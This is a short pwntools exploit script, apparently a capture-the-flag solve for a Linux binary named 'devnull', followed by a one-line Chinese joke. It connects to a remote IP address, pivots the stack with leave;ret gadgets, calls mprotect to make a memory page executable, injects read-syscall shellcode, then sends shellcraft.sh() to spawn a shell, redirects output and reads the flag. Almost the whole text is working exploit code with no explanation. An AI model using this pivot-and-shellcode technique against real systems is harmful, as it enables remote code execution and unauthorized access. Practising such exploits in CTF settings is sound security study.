context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./devnull')
# debug(0x4014E3)
p = remote('47.94.166.51',33797)
addr = 0x3fe000 + 0x500
leave_ret = 0x401511
rax_leave_ret = 0x401350 # mov rax, [rbp+s];leave;ret;
len_rax_mprotect = 0x4012D0 # len = 0x1000 addr = rax mprotect
# sea("please input your filename\n",'/bin/sh\0'.ljust(0x20,'\0')+'\x00'+'\0'*0x13+p64(0x404010))
sea("please input your filename\n",'/bin/sh\0'.ljust(0x20,'\0')+'\0'*(0x1c-8)+p64(addr)+p64(addr+0x18)+p64(rax_leave_ret))
shellcode = asm(
'''
push 0
pop rax
xchg rdi,rsi
xchg rdi,rdx
push 0
pop rdi
syscall
'''
)
payload = p64(0x3fe000) # rax
payload = payload.ljust(0x20,'\0')
payload += p64(len_rax_mprotect) + p64(0) + p64(addr+0x38) + shellcode
sea("please input your new data\n",payload)

sleep(2)
# sl('\0'*0x546+asm(shellcraft.cat('./flag',fd=2)))
# sl('\0'*0x546+asm(shellcraft.write(2,'rsp','0x50')))
sl('\0'*0x546+asm(shellcraft.sh()))
sleep(2)
sl('exec 1>&0')
sleep(2)
sl('cat flag')
p.interactive()


什么,你说复现哪去了?在学了在学了。